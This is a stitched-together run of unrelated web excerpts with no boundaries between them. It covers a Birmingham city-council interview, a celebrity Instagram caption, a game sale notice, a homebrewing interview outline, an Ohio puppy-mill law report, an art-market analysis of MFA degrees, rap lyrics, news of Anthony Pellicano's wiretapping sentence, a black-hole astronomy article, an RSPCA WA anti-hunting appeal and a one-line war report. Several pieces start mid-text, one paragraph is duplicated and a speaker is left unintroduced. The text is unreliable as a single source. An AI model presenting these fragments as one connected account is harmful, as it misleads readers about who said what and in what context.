One of the good examples in town that’s being successful is REV’s CO.STARTERS program, where entrepreneurs come in, they go through an extended set of coursework and really refine their business idea, and come out with a business plan that is well-vetted. They can take that to a financial institution and demonstrate a clear path to creating revenue using that model and be able to convince that lender to give them a loan to get them started. If we had more opportunity for folks to engage in those types of entrepreneurial development programs, then we can see a significant growth in the number of small businesses and thus jobs that are created through those small businesses.
BirminghamWatch: Under the past administration, the relationship between the mayor’s office and the City Council has been strained, sometimes to the point of deadlock. Now that voters have selected a new mayor and three new council members, are you optimistic that this relationship will improve?
O’Quinn: I am optimistic. On both sides, folks realize that there is an opportunity for some dramatic change. I know from following Mayor-elect Woodfin’s campaign that he has said he is very committed to having a healthy relationship with the council and improving communication — and not just between the council president and the mayor’s office, but relationships with each councilor. I’m confident that we’ll see things develop in that direction and that, as a result, there will be fewer occasions for there to be media reports about the controversy between the mayor and the council’s office. Not that that’s not going to happen at some point, but I feel like at least initially, we’re going to get off on the right foot.
BirminghamWatch: One sticking point between the mayor and the council has been the FY 2018 budget, which still hasn’t been passed and likely won’t pass before you take office. What do you expect to happen on that front?
O’Quinn: Generally, with this proposed budget that we have, I am not too optimistic that we will have that worked out anytime soon. Over the next two weeks, you’ve got the current mayor and the current council. Even if the current mayor felt like he wanted to try and go ahead and get the proposed budget approved, the current council is in a position of saying, “Well, if we hold out a couple of weeks, we’ve got three new people coming on, and maybe we can get a better deal, especially if we hold out until the new mayor comes on.”
It’s not clear to me that there’s a lot of incentive for getting the proposed budget approved anytime before Mayor-elect Woodfin comes into office. It may be December before we have a budget, and it may be later than that. In the meantime, everything that was funded in the previous operating budget is continuing to be funded at its previously set levels — but any new programs that were proposed in the new budget, those are the things that are not being funded currently.
BirminghamWatch: Finally, which of your policy goals do you anticipate being the biggest challenge to accomplish?
O’Quinn: Birmingham has a lot of issues that it’s dealing with just because of its legacy. In particular, and I’m sure this is also the case in other districts, but I know in District 5, there’s a tremendous gap in opportunity. In District 5, we have six public housing communities, and we also have folks who are living in million-dollar lofts at the tops of skyscrapers downtown.
I'm out.Atlanta. I came I fought I conquered #CROSSBONES #Badass #CAP3 #Wrapped A photo posted by Frank Grillo (@frankgrillo1) on May 21, 2015 at 2:54am PDT
While this isn't official confirmation by any means, Grillo's post appears to signal the end of his time on set. This would suggest that the masked villain will have a somewhat limited role in the sequel. Given the sheer size of the Civil War cast, this is hardly surprising, with most of the film expected to feature the heroes of the MCU at odds with one another - as opposed to facing off against a more conventional villain like Crossbones.
Check out all the champs and skins on sale this November. Like previous sales schedules, we’re not posting the exact dates for each champ and skin, but they’ll all be on sale sometime next month, so keep an eye out.
Just a heads up – since we’re publishing these in advance, we won’t offer partial refunds on champs and skins purchased before they go on sale.
Since the sales schedule has been updated to fit our new regular sales structure, the following skins and champions will be eligible for partial refunds if purchased between 22.10 20:00 GMT and 12.11 19:00 GMT: Battlecast Urgot, Darkrider Sejuani, Death Blossom Elise, Dragonslayer Jarvan IV, Silverfang Akali, Ekko, Ezreal, Gangplank, Kog'Maw, and Varus.
Charlie Papazian @ Bitter and Esters (Part One-Interview): Questions asked / Topics Discussed:
(you / your = Charlie)
Welcoming Charlie to New York City: What’s it like for you to be visiting NYC and getting a picture of its craft beer and homebrewing scene? What in your opinion characterizes the American homebrewer nowadays? American craft beer and homebrewing’s influence throughout the world and implications of the growth taking place in many countries around the world through homebrewing and subsequently craft beer. The American Homebrewers Association was founded by Charlie in 1978 with the goal of teaching homebrewing classes and creating a community around brewing shares its offices with the Brewers Association. In turn, creating opportunities for collaboration and community and industry growth. “Homebrewers are the pioneers.” Now that the 4th edition of The Complete Joy of Homebrewing has been released. How have you been able to track the growth of homebrewing through the influence and sales of your book?… Insight into beer culture through the names that he has given to his recipes and the names that craft brewers and home brewers have given to their beers since The Complete Joy of Homebrewing was first released. Should every craft beer enthusiast homebrew? Using The Complete Joy of Homebrewing to help you remain relaxed as you start to homebrew and or get in to the more involved in the more advanced processes of homebrewing….Benefits of reading the new edition from the start even if you’ve read previous editions. Process that Charlie followed in order to revise The Complete Joy of Homebrewing and The Home Brewer’s Companion. When you sit down and actually have time to brew how do you formulate a beer recipe? Recreating beers that he’s tried during his travels and using new ingredients to brew creative beers e.g. the American brown ale recipe that he created for Bitter & Esters. Focusing on mastering the core processes of brewing that help one have the ability to get creative in his or her brewing before worrying about using methods that will only make minor differences to one’s beers. Charlie’s concluding piece of advice for those who have purchased and or read his books and are looking to get more into homebrewing. Cheers and good luck wishes.
Stay tuned for Part Two, Q & A etc w/ Charlie at Bitter and Esters’ bottle swap…
Before this year, Ohio’s agricultural dog breeding market was largely unregulated.
But a state law signed by Gov. John Kasich in 2012 forced dog breeders who sell at least nine litters every year to register with the state by Jan. 1 and get state kennel safety and health inspections ever year. Dog retailers, the ones who sell dogs to pet stores, are required to register with the state now, but only get inspected if someone complains about their operation.
The new laws will help the state weed out puppy mills from good high-volume dog breeders, said Linda Tucker a regular volunteer at PAWS Adoption Center in Middletown, a pet shelter. She said dogs raised in puppy mills are often the result of inbreeding, aren’t socialized with pets or people and carry diseases.
“We’re not pretending that this is going to change everything or fix everything,” Tucker said. “But, especially since there’s money involved, making it possible for (state inspectors) to come out and see that there’s code enforcement, it’s a real plus to us.”
Before the program, Taylor had been one of the many critics of Ohio’s lax puppy mill laws. Now, she’s just glad to see some regulation in place.
Ohio Sen. Jim Hughes (R-Columbus) called the state one of the nation’s “worst” for puppy mills when the legislation, which he proposed, passed the senate in 2012.
Dairy farms, beef and puppies
The new law has yielded a cluster of dog breeders and retailers working in rural, northeastern Ohio that have registered with the state.
A significant majority of puppy mill operations now registered are from Holmes County, which identifies as Ohio’s Amish County mecca, according to state records. Nearly 90 dog retailers and 60 dog breeders were registered under the new program.
“That area is an area that’s very strongly rooted in agriculture in the state of Ohio,” Simmerman said. “I think it’s a natural progression that we’ve got a lot of dairy farms, beef farms and now a lot of dog kennels.”
Only two dog breeders, one of them a dog retailer who sells to stores, have registered out of Butler, Clark, Darke, Greene, Preble, Montgomery or Warren counties, according to state records. The state is also still processing licenses for 55 remaining applicants but none of the outstanding applications appear to be operating in any of those counties, a spokeswoman said. High-volume dog breeders and retailers have been identified in only 13 of Ohio’s 88 counties so far.
Donald Landes, who owns a high-volume dog breeding operation in the village of Eldorado in Preble County said he believes the state law, and new requirements such as state inspections, will help Ohio’s dog breeders take good care of the animals.
“I think it is, it’s a lot more expensive than what we’re use to, we haven’t been use to an inspection,” Landes said. “But I really honestly think it’s a good thing. In the long run, it will help (the industry) do a better job.”
Landes said he’s sold small dog breeds from his farm since 2005. He uses word of mouth and places ads in local newspapers to sells his dogs. He said he’s never sold his pups to a pet store.
“We don’t look at ourselves as a puppy mill,” Landes said. “We thought it would be fun and decided to give it a try. We feel like we’re a dog breeder that’s trying to make a lot of people happy. Every individual we sell to, we know exactly who they are and work directly with them if they have any problems”
Another operation in the village of Arcanum in Darke County is registered as a high-volume dog breeder and retailer.
Tucker agrees that some high-volume dog breeders do a good job of producing healthy puppies.
“We understand that there are many different types of breeders,” Tucker said. “There are wonderful people who do a great job of breeding dogs. When you go into a pet store, unfortunately, most of the time, you’re dealing with animals that come from a factory — a puppy mill.”
Under the new law, dog breeders who violate the new standards face a $100 fine. Some animal advocates have called the state fines and penalties weak, when the bill first passed in 2012.
Officials with the state, however, say the law supports agricultural businesses while keeping pets healthy.
“This law is a very good balance between allowing this outgrowth of agribusiness to be able to stay in business in the state of Ohio and thrive, while at the same time putting some standards in place that provide for the proper care of animals in these facilities,” Melissa Simmerman, the state’s assistant veterinarian, said of the new law.
Dog breeders are also required to show proof of a veterinarian who will provide care for the dogs when they register with the state and pay fees ranging from $150 to $750 for licensing.
The state has budgeted $900,000 this year for the high-volume dog breeding and retailer program, which is run by officials at the Ohio Department of Agriculture. Those costs include start-up costs for the new program and the salaries and benefits for a supervisor and dog breeding inspectors, a spokeswoman with the department said. Right now, the state has three inspectors and will likely hire a fourth soon.
Work in progress
Although only two high-volume breeders have registered with the state in many of Ohio’s southwestern counties, there are bound to be more dog breeders still operating without a license, despite the new law, Mark Kumpf, the Montgomery County Animal Resource Center Director said.
Kumpf said the law requires breeders to self-report themselves to the state and some breeders, including those who might operate in southwest Ohio, could just be skipping out on the new requirement.
“Until (the state) gets a complaint, it’s very difficult to find these people,” Kumpf said. “Is it conceivable that someone has dogs in kennels? Absolutely. If you have 200 acres, it’s very easy to set up a kennel operation that no one will see, hear or smell no matter how close they get to your property line.”
Simmerman, the state’s assistant veterinarian, said she knows there are Ohio dog breeders who haven’t reported their business but state officials are willing to work with anyone who comes forward, even after this year’s Jan. 1 deadline.
“We figured this process would be slow to grow,” Simmerman of the registration requirements. “At this point in time, I’m very content with the number of applications. There’s no doubt in my mind that the number won’t grow and continue to grew as new people enter the business.”
The charge that contemporary art has become over-academic, producing “zombie” art, is not new. “The proverbial romantic artist, struggling alone in a studio and trying to make sense of lived experience, has given way to an alternate model: the university artist, who treats art as a homework assignment,” Deborah Solomon wrote in an article about the MFA boom in the New York Times. That was 1999.
In the 2000s, the MFA was pitched as a Golden Ticket, with an ever more youth-oriented art market generating rumors of dealers snapping up artists right out of school. A degree that was originally designed to allow you to teach became seen as the pathway to a gallery career.
In more recent years, angst about art school has become entangled with the political debate about student debt’s crushing toll. Art collectives like the Bruce High Quality Foundation have founded their own alternative art schools, while the group BFAMFAPhD seeks to raise awareness about the high number of art students who default on their loans. The Atlantic calls the MFA “an increasingly popular, increasingly bad financial decision.”
Is it?
To try and answer that question, Caroline Elbaor and I created a list of the 500 most successful American artists at auction from artnet’s Price Database, looking at figures born in 1966 or later. We picked that year because it gave us a neat 50-year time span, and roughly corresponds to the beginning of Generation X, essentially a way of getting a snapshot of the market fortunes, to date, of millennials and the generation immediately prior.
The sample ranges from figures with records in excess of $100 million (Mark Grotjahn, with more than $184 million at auction, or Wade Guyton, with $130 million), down to figures whose fortunes, as measured by this method, are quite modest, with just over $13,000 in career sales at auction.
We tracked down where each artist on the list went to graduate school, either from publicly available sources or by contacting the artists or their representatives. (For a very few, we were unable to find any information; we’ve left their fields blank in the attached table.) With that data in hand, we could then look for patterns as to how educational choices correlate with this measure of early-career success.
Some caveats, before we look at the results: The secondary market for art is one sign of success, but certainly not the only one. There are artists who make a good living but, for whatever reason, do not create works that are resold at auction. Some artists focus on public or community-based art, or simply don’t create objects. An auction track record simply means that someone thought a particular artist’s work was valuable enough, over time, to resell it.
A second point: Getting your art sold is certainly not the only reason to go to art school. Some artists go to hone their craft, or to learn to communicate their ideas, or to teach, or simply because they need the time to focus on themselves—all fine things.
But if someone is pitching you a career in art, here are some things to think about first.
The Persistence of the Non-Academic Artist
There is hope for those who hate school: Despite the widespread perception that contemporary art is dominated by an MFA mafia, nearly half of the figures on our list of 500 successful early-career artists either did not have an MFA, or didn’t study art academically at all.
Even among the 10 most successful figures, six lack an MFA: Wade Guyton (#2), who “attended,” but did not graduate from Hunter, as far as we can tell; Tauba Auerbach (#6); Joe Bradley (#7); Dan Colen (#8); Matthew Barney (#9); and Nate Lowman (#10).
Overall, some 35 percent of artists here have no MFA—and another 12 percent have no degree in art, period. (For our purpose, we counted artists who attended a school but didn’t finish as “self-taught.”)
Something else worth noting: A substantial chunk of the non-academic figures came to attention not through the gallery scene, but through street art: KAWS (#12), RETNA (#55), Chris Johanson (#83), etc. Arguably such figures represent a totally different career path than the one set out by the MFA, with a different set of gatekeepers altogether.
The art scene of the American West, which encompasses figures like Kyle Polzin (#59), Nicholas Coleman (#115), or Logan Hagege (#138), is also something of its own world. And there are a few figures on the list—modern-day Michelangelos such as Adrien Brody (#167), Marilyn Manson (#218), and Kurt Cobain (#277)—who are celebrities first, artists second.
If we subtract such figures, does it change the picture? Excluding from our tally the 52 names that fit these categories does make the “self-taught” approach look like a slightly less viable route to success. In this graph, the MFA-trained artists are more clearly in the majority:
Yet even looking at things this way, over 40 percent of the Top 500 artists did without an MFA or were self-taught, proving that the degree is far from a necessity.
Yale and the “Power Law”
If you can, is it worth going to graduate school for art, though? The answer is fairly clear. Yes—if you go to Yale.
Over this 50-year period, Yale’s Graduate School of Art has pumped out nearly 10 percent of all our successful artists.
Indeed, if you look at the distribution of schools on the list, it follows what statisticians call a “power law”—it has a tall head and a long tail. As one blog on the concept explains, “power law” distributions are ones in which “a small number of outcomes have dramatically higher values than the remaining population.”
Here is the list of the top 20 MFAs in this sample, with the number of artists holding the credential:
When it comes to art, what this means, practically, is that going to the best school really, really matters—but very quickly the value of any program over any other levels off.
Yale’s weight in this Top 500 is already more than its next two competitors, UCLA and Columbia, combined. Looking just at the MFA-trained artists on this list, a full 17 percent went to Yale.
Expanding the selection to look at the Top Five programs, they account for 44 percent of all the MFAs in the Top 500.
Finally, expanding to the Top 20 schools takes us to 75 percent. That is, of all the artists who got an MFA and went on to the kind of early-career success captured by our Top 500, three quarters went to one of just 20 schools.
Leaving the top 20 graduate programs represented here, you are talking about a large number of schools with no more than two artists on the list—and many, many with only one. That makes these schools’ ability to predict early-career success appear fairly random, since a single sale by an artist from another institution could shake up the ranking.
RISD Rules
We also looked at undergraduate studies.
In general, the data is much fuzzier, and harder to parse (NYU appears in the top, for instance, which is misleading, since artists like Nate Lowman or Carol Bove went there, but not as art students).
But the results still follow the same “power law” distribution, with the Rhode Island School of Design in the top spot.
Indeed, RISD has more than twice the weight on the list as Cooper Union, its nearest competitor. The School of the Art Institute of Chicago comes in next, followed by UCLA (which eats Yale’s lunch at the undergraduate level) and the San Francisco Art Institute.
Looking deeper, we find 22 artists in the Top 500 list who went to RISD but have no MFA. That makes the RISD undergraduate degree about as predictive of success, here, as an MFA from UCLA, which has 26 figures on the list, and more valuable than an MFA from Columbia, which has 18.
Looking just at the most common terminal degrees on the list, here is what you see:
School Ties
Are there particular combinations of undergraduate and graduate programs that came up over and over again?
You might expect the RISD/Yale path to dominate, and there are indeed three figures who followed it: David Benjamin Sherry (#215), Adam Helms (#224), and Schandra Singh (#460).
For what it’s worth, though, several combinations of schools actually had a higher representation in the Top 500, occurring four times each:
In recent decades, these appear to be modestly well-trod routes into the art industry. Mainly, it seems that people with elite undergraduate art education are well set up for elite MFA education—which is more or less what you would expect.
The Takeaway
What accounts for the extreme skew towards a few programs?
Perhaps the top schools get the best of a small pool of gifted applicants, and offer resources that allow students to flower in a way that they don’t elsewhere. But are Yale grads really twice as creative as graduates from UCLA? Probably not.
It seems likely that, in art, connections and pedigree open doors, and that the best MFAs signal to dealers and collectors that students are proximate to these status networks, making their art more bankable.
On this level, the value of the MFA as a signal would decline rapidly, since the whole point is to signify that the artists in question belong to an exclusive set. (“Power law” phenomena often occur in fields that follow a “rich-get-richer” pattern.)
The exact proportion of the two factors is hard to reckon without further research.
Looking at the backgrounds of American artists born since 1966, you could sum up a potential lesson of the recent past like this: If you can get into one of the very top programs, it may well give you a better shot at cracking the puzzle of art-career success than going without. Even that decision, though, has to be weighed against the high number of artists who have skipped that step, with the time and expense that it entails.
Outside of those elite brands, though, getting an MFA becomes a very different kind of choice. It may be worthwhile for a great many artistic reasons, but it does not have a noticeable career-boosting effect, at least not among the first rank of peers. You are essentially following your own path.
Indeed, it looks very much like you could have not gone to school at all, and have been about as likely to capture the attention of the art market.
The full list of our data is embedded below. Click on the list to expand it:
—Research by Caroline Elbaor.
They say music can alter moods and talk to you
Well can it load a gun up for you , and cock it too
Well if it can, then the next time you assault a dude
Just tell the judge it was my fault and I'll get sued
See what these kids do is hear about us totin' pistols
And they want to get one 'cause they think the shit's cool
Not knowin' we really just protectin' ourselves, we entertainers
Of course the shit's affectin' our sales, you ignoramus
But music is reflection of self, we just explain it, and then we get our checks in the mail
It's fucked up ain't it
How we can come from practically nothing to being able to have any f--king' thing that we wanted
That's why we sing for these kids, who don't have a thing
Except for a dream, and a f--king' rap magazine
Who post pin-up pictures on their walls all day long
Idolize they favorite rappers and know all they songs
Or for anyone who's ever been through shit in their lives
Till they sit and they cry at night wishin' they'd die
Till they throw on a rap record and they sit, and they vibe
We're nothin' to you but we're the f--king' shit in they eyes
That's why we seize the moment try to freeze it and own it, squeeze it and hold it
'Cause we consider these minutes golden
And maybe they'll admit it when we're gone
A threat to a reporter launched an investigation that brought down celebrity shamus Anthony Pellicano.
The sentence for Anthony Pellicano was close to the 16 years sought by federal prosecutors. A probation report had recommended a sentence just under six years.
U.S. District Judge Dale Fischer also ordered Pellicano and two other defendants in the case to pay $2 million in restitution.
"You were unquestionably the organizer and leader," the judge said, referring to Pellicano's role in the vast wiretapping scheme. The judge added that Pellicano inflicted "emotional, physical and psychological harm onto his victims" and counted the justice system among the victims.
After the sentencing, Prosecutor Dan Saunders applauded the 15-year term, saying Pellicano never considered the law when trying to help his wealthy clients.
"If anything he was very jubilant, and proud and excited with his ability to break the law," he said.
Dressed in a green jailhouse jumpsuit, Pellicano, 65, blew a kiss to family members as he was led into court. Later, he shifted in his chair as he told the judge, "I have already taken complete and full responsibility for all of my actions."
Saunders called Pellicano's statement "false and hogwash."
Pellicano was convicted in May of 76 counts of racketeering, wire fraud, identity theft and wiretapping after a two-month trial.
Pellicano and high-profile entertainment lawyer Terry Christiansen also were convicted in August of conspiring to wiretap the private conversations of billionaire Kirk Kerkorian's former wife, Lisa Bonder Kerkorian. The Kerkorians were locked in a child-support battle in early 2002.
According to witness testimony, many of Pellicano's wiretaps involved conversations between lawyers and their clients. "The importance of the attorney-client privilege cannot be overstated," the judge said
Pellicano represented himself in both trials, which included testimony from MGM mogul Kerkorian and comedian Garry Shandling, as well as 34 recordings Pellicano made with attorney Christensen. The men could be heard joking about the phone conversations of Kerkorian's ex-wife.
Pellicano's new lawyers said outside the courtroom that they would appeal. "There are numerous appellate issues with both the conviction and this sentence," said Michael Artan.
Pellicano faced up to 20 years to life in prison for the racketeering convictions alone. Christensen, a partner in one of Hollywood's top entertainment law firms, was sentenced to three years in federal prison.
The infamous Hollywood wiretaps case began when Los Angeles Times reporter Anita Busch was threatened in June 2002. A dead fish, a rose and a note demanding "Stop!" were left on the windshield of her car.
In court, Busch propped a crutch against the back row of courtroom seats and limped forward to tell the judge how Pellicano's actions had harmed her.
"I thought it was just a matter of time before I would be killed [by Pellicano]," Busch said. She added that she was so frightened by Pellicano that she feared turning on the ignition on her car because she thought it might blow up.
Busch turned to Pellicano and scolded, "You threw away your responsibility as a son to your mother and as a father to your own children -- for money." She then delivered a parting shot: "I fear for your soul when I think that God is just."
Investigators raided Pellicano's offices on Sunset Boulevard as part of their investigation into the threats against Bush and exposed his wiretapping enterprise. The case captured Hollywood's attention as A-listers and insiders speculated on who would be caught up the scandal.
Sylvester Stallone and Keith Carradine were wiretapped; Shandling was subjected to an illegal criminal background check. The names of other stars, including Chris Rock and Courtney Love, came up in testimony during the trials.
A telescope as big as the Earth could tell a black hole from an exotic imposter.
While black holes have gone mainstream, a handful of researchers are investigating exotic ultra-compact stars that, they argue, would look exactly like black holes from afar. Well, almost exactly. Though their ideas have been around for many years, researchers are now putting them to the most stringent tests ever, looking to show once and for all that what looks and quacks like a black hole really is a black hole. And if not? Well, it could just spark the next revolution in physics. The game-changer is a new experiment called the Event Horizon Telescope (EHT). The EHT is a network of telescopes that are sensitive to radio waves about a millimeter long and linked together using a technique called very long baseline interferometry. Baseline refers to the distance between the networked telescopes: the longer the distance, the finer the details the telescope can pick out. It’s impossible—or at least impractical—to build a single telescope as big as planet Earth, but astronomers can achieve the same “zoom” factor by linking telescopes on opposite continents. Just like that, the universe goes from standard-definition to HD: a switch powerful enough to tell a black hole from an exotic imposter. Meanwhile, scientists have directly detected gravitational waves for the first time using the Laser Interferometer Gravitational-Wave Observatory, also known as LIGO. Gravitational waves—ripples in the fabric of space-time that Einstein predicted should radiate out from the site of any gravitational disturbance—represent an entirely new way to see the cosmos , and with enough data, they could finally confirm—or contradict—the existence of black holes.
Black Hole Anatomy On its own, a black hole looks like nothing: black-on-black, indistinguishable from the empty space that surrounds it. But supermassive black holes, which are believed to sit at the core of almost every galaxy in the universe, surrounded by stars and other galactic detritus that accumulates around the edge like soap suds circling the bathtub drain. By studying those “suds,” astronomers can answer questions about the central black hole. The best-studied black hole candidate in the universe is the one called Sagittarius A*, which lives at the center of our very own Milky Way galaxy. By tracking the orbits of stars circling around Sagittarius A*, they have deduced that Sagittarius A* packs some 4 million times the mass of the Sun into a region of space much smaller than the solar system. Their conclusion: it could only be a supermassive black hole. Supermassive black holes are thought to sit at the center of every galaxy, including this one, Messier 106. But what if something else lurked in the starry froth? To confirm that suspicion, they would like to see up to the edge of the black hole—the event horizon, a sort of line in the sand that separates the “inside” of the black hole from the “outside” and beyond which nothing can escape. From the perspective of a telescope on Earth, the event horizon should look like a dark shadow surrounded by a bright ring of light. The exact shape of this ring and shadow are predicted by the equations of general relativity, plus the properties of the black hole and its surroundings.
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An Earth-Sized Telescope That’s where the EHT comes in. Since the EHT first started taking data, it has been building its telescope roster, and with each new member, it gets closer to making the first true image of a black hole shadow. The EHT is like an all-star team of telescopes: Most days, its millimeter-wave dishes run their own experiments independently, but for one or two weeks a year, they team up to become the EHT, taking new data and running tests during the brief window when astronomers can expect clear weather at sites from Hawaii to Europe to the South Pole. “It sounds too good to be true that you just drop telescopes around the world and ‘poof!’ you have an Earth-sized telescope,” says Avery Broderick, a theoretical astrophysicist at University of Waterloo and the Perimeter Institute. And in a way, it is. The EHT doesn’t make pictures. Instead, it turns out a kind of mathematical cipher called a Fourier transform, which is like the graphic equalizer on your stereo: it divvies up the incoming signal, whether its an image of space or a piece of music, into the different frequencies that make it up and tells you how much power is stored in each frequency. So far, the EHT has only given astronomers a look at a few scattered pixels of the Fourier transform. When they compare those pixels to what they expect to see in the case of a true black hole, they find a good match. But the job is like trying to figure out whether you’re listening to Beethoven or the Beastie Boys based only on a few slivers of the graphic equalizer curve.
Black holes are mothers of cosmic paradox.
Now, the EHT is about to add a superstar player: the Atacama Large Millimeter Array, a telescope made up of 66 high-precision dishes sited 16,000 feet above sea level in Chile’s clear, dry Atacama desert. With ALMA on board, the EHT will finally be able to make the leap from fitting models to seeing a complete picture of the black hole’s shadow. EHT astronomers are now rounding up time at all of the telescopes so that they can take new data and assemble that first coveted image in 2017. And if they don’t see what they expect? It could mean that the black hole isn’t really a black hole at all. That would come as a relief to many theorists. Black holes are mothers of cosmic paradox, keeping physicists up at night with the puzzles they present: Do black holes really destroy information ? Do they really contain infinitely dense points called singularities? Black holes are also the battlefield on which general relativity and quantum mechanics clash most dramatically. If it turns out that they don’t actually exist, some physicists might sleep a little better. But if they’re not black holes, then what could they be? One possibility is that they are dark stars made up of bosons, subatomic particles that, unlike more familiar electrons and protons, obey strange rules that allow more than one of them to be in the same place at the same time. Boson stars are highly speculative—astronomers have never seen one, as far as they know—but theorists like Vitor Cardoso, a professor of physics at Técnico in Lisbon and a distinguished visiting researcher at Sapienza University of Rome, hypothesize that some or all of the objects we think are supermassive black holes could actually be boson stars in disguise. Physicists classify particles into two different categories: fermions, which include protons, electrons, neutrons, and their components; and bosons, like photons (light particles), gluons, and Higgs particles. Every star that we’ve ever seen shining is dominated by fermions. But, Cardoso says, given a starting environment rich in bosons, bosons could “clump” together gravitationally to form stars, just as fermions do. The early universe might have had a high enough density of bosons for boson stars to form. But not every boson is a suitable building block for a boson star. Gravity won’t hold together a clump of massless photons, for instance. Higgs particles are massive enough to be bound together by gravity, but they aren’t stable—they only exist for tiny fraction of a second before decaying away. Theorists have speculated about ways to stabilize Higgs particles, but Cardoso is more intrigued by the prospect that other, yet-undiscovered heavy bosons, like axions , could make up boson stars. In fact, some physicists hypothesize that massive bosons like these could be responsible for dark matter—meaning that boson stars wouldn’t just be a solution to the riddle of black holes, they could also tell us what, exactly, dark matter is. Gravastars Boson stars aren’t the only black hole doppelgänger that theorists have dreamed up. In 2001, researchers proposed an even more speculative oddity called a gravastar . In the gravastar model, as a would-be black hole collapses under its own weight, extreme gravity combines with quantum fluctuations that are constantly jiggling through space to create a bubble of exotic spacetime that halts the cave-in. Theorists don’t really know what’s inside that bubble, which is both good and bad news for gravastars: Good news because it gives theorists the flexibility to revise the model as new observations come in, bad news because scientists are rightly skeptical of any model that can be patched up to match the data. When the data does come in, physicists have a checklist of sorts that should help them know which of the three—black hole, boson star, or gravastar—they’re looking at. A gravastar should have a bright surface that’s distinguishable from the glowing ring predicted to loop around a black hole. Meanwhile, if the object at the center of the Milky Way is actually a boson star, Cardoso predicts, it will look more like a “normal” star. “Black holes are black all the way through,” Cardoso says. “If really the object is a boson star, then the luminous material can in principle pile up at its center. A bright spot should be detected right at the center of the object.” A New View Most physicists have placed their bets on Saggitarius A* and other candidates being black holes, though. Boson stars and gravastars already have a few strikes against them. First, when it comes to scientific credibility, black holes have a major head start. Astronomers have a solid understanding of the process by which black holes form and have direct evidence that other ultra-dense objects, like white dwarfs and neutron stars, which could merge to form black holes, really do exist. The alternatives are more speculative on every count.
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Furthermore, Broderick says, astronomers have looked for the telltale signature of boson stars and gravastars at the center of the Milky Way—and haven’t found it. “The stuff raining down on the object will give up all its kinetic energy—all the gravitational binding energy tied up in the kinetic energy of its fall—resulting in a thermal bump in the spectrum,” Broderick says —that is, a signature spike in infrared emission. In 2009, astrophysicists reported that they had found no such bump coming from Sagittarius A*, and in 2015, they announced that it was missing from the nearby massive galaxy M87, too.
“To confirm or rule out boson stars entirely, we need ‘louder’ observations.”
Cardoso doesn’t see this as a death-knell for the boson star model, though. “The field that makes up the boson star hardly interacts with matter,” he says. To ordinary matter, the surface of a boson star would feel like frothed milk. “We do not yet have a complete model of how these objects accrete luminous matter,” Cardoso says, “so I think that it’s fair to say that this is still an open question.” He is less optimistic about gravastars, which he describes as “artificial constructs” that are likely ruled out by the latest observations. As the LIGO experiment gathers more data, theorists will get more opportunities to test their exotic hypotheses with gravitational waves. As two massive objects—say, a supermassive black hole and a star—spiral toward each other on the way toward a collision, gravitational waves carry away the energy of their motion. If one member of the spiraling pair is a black hole, the gravitational wave signal will cut off abruptly as the star passes through the black hole’s event horizon. “It gives rise to a very characteristic ringdown in the final stages of the inspiral,” Cardoso says. Because the alternative models have no such horizon, the gravitational wave signal would keep on reverberating. Most astronomers believe that the waves LIGO detected were given off by the collision of two black holes, but Cardoso thinks that boson stars shouldn’t be ruled out just yet. “The data is, in principle, compatible with the two colliding objects being each a boson star,” he says. The end result, though, is probably a black hole “because it rings down very fast.” LIGO is not designed to pick up signals at the frequency at which supermassive objects like Sagittarius A* are expected to “ring.” (LIGO is tuned to recognize gravitational waves from smaller black holes and dense stars like neutron stars.) But supermassive black holes and boson stars are in the sweet spot for the planned space-based gravitational wave telescope eLISA (the Evolved Laser Interferometer Space Antenna), slated for launch in 2034. “To confirm or rule out boson stars entirely, we need ‘louder’ observations,” Cardoso says. “EHT or eLISA are probably our best bet.” Taking the Pulse In the meantime, astronomers could measure waves from these extremely massive objects by precisely clocking the arrival times of radio pulses from a special class of dead stars called pulsars. If astronomers spot pulses arriving systematically off-beat, that could be a sign that the space they’ve been traveling across is being stretched and squeezed by gravitational waves. Three collaborations—NANOGrav in North America, the European Pulsar Timing Array, and the Parkes Pulsar Timing Array in Australia—are already scanning for these signals using radio telescopes scattered around the globe. To Broderick, though, the big question isn’t which model will win out, it’s whether these new experiments can find a flaw in general relativity. “For 100 years, general relativity has been enormously successful, and there’s no hint of where it breaks,” he says. Yet general relativity and quantum mechanics, which appears equally shatterproof, are fundamentally incompatible. Somewhere, one or both must break down. But where? Boson stars and gravastars might not be the answer. Still, exploring these exotic possibilities forces physicists to ask the questions that might lead them to something even more profound. “We expect that general relativity will pass the EHT’s tests with flying colors,” Broderick says. “But the great hope is that it won’t, that we’ll finally find the loose thread to pull on that will unravel the next great revolution in physics.”
The State Government is currently considering a recommendation from the Standing Committee on Public Administration to allow a two year trial of recreational hunting on public land in WA. The government must make a decision by 10 May 2015.
RSPCA WA is extremely disappointed and concerned about this. This proposal is way out of touch with the sentiment the vast majority of Western Australians have in relation to hobby hunting. In an independent survey conducted in 2012 the overwhelming majority of West Australians said that recreational hunting is unacceptable. RSPCA WA is extremely disappointed and concerned about this. This proposal is way out of touch with the sentiment the vast majority of Western Australians have in relation to hobby hunting. In an independent survey conducted in 2012 the overwhelming majority of West Australians said that recreational hunting is unacceptable.
Hunting has the potential to result in significant animal suffering with animals killed by methods that do not cause a quick and painless death. Although some hunters may have the skills, knowledge and motivation to minimise the suffering of their prey, many do not and it is inevitable that animals will endure pain and distress.
Illegal hunting is occurring on public land in Western Australia and RSPCA WA has evidence of animal cruelty as a result of these activities. Despite efforts by the WA Police, DPAW, DAFWA, RSPCA WA and other agencies these illegal activities appear to be increasing and we are concerned that there are currently insufficient resources allocated to control.
A key argument in support of the proposal is the effect recreational hunting will have in controlling pest and feral species.
Pest programs which have relied on recreational hunters have proven to be inhumane and highly ineffective as a means of controlling target pest species, and in fact hinder coordinated and targeted pest animal control programs. Consistent evidence to support this was presented to the Committee during their deliberations. RSPCA WA recognises that there is a need to ensure that the impacts of pest animals are minimised and supports humane, controlled and well-managed pest management programs, including the use of highly skilled and trained shooters where appropriate.
We need to take a stand NOW and say no to animal cruelty.
If this proposal goes ahead it will be an animal welfare disaster.
RSPCA WA lodged a submission with the committee during its deliberations highlighting the many issues that are attached to recreational hunting on public lands.
You can take a number of important and easy steps TODAY to stop this proposal becoming a reality.
Contact Minister for Environment Hon. Albert Jacob MLA and tell the government to not approve the trial of recreational hunting on public land in WA. Email him on Minister.Jacob@dpc.wa.gov.au
Tell your local Member of Parliament you do not want recreational hunting on public land in WA and that they should take a stance against animal cruelty.
Share your opinion with the media, family, friends and reach thousands of people so we can stop recreational hunting on public land in WA.
The ultra-radical IS and a monitoring agency said the group had seized several villages as it stepped up an offensive in northern Aleppo province, in a blow to rebels who are likely partners for Ankara and Washington in any ground campaign.
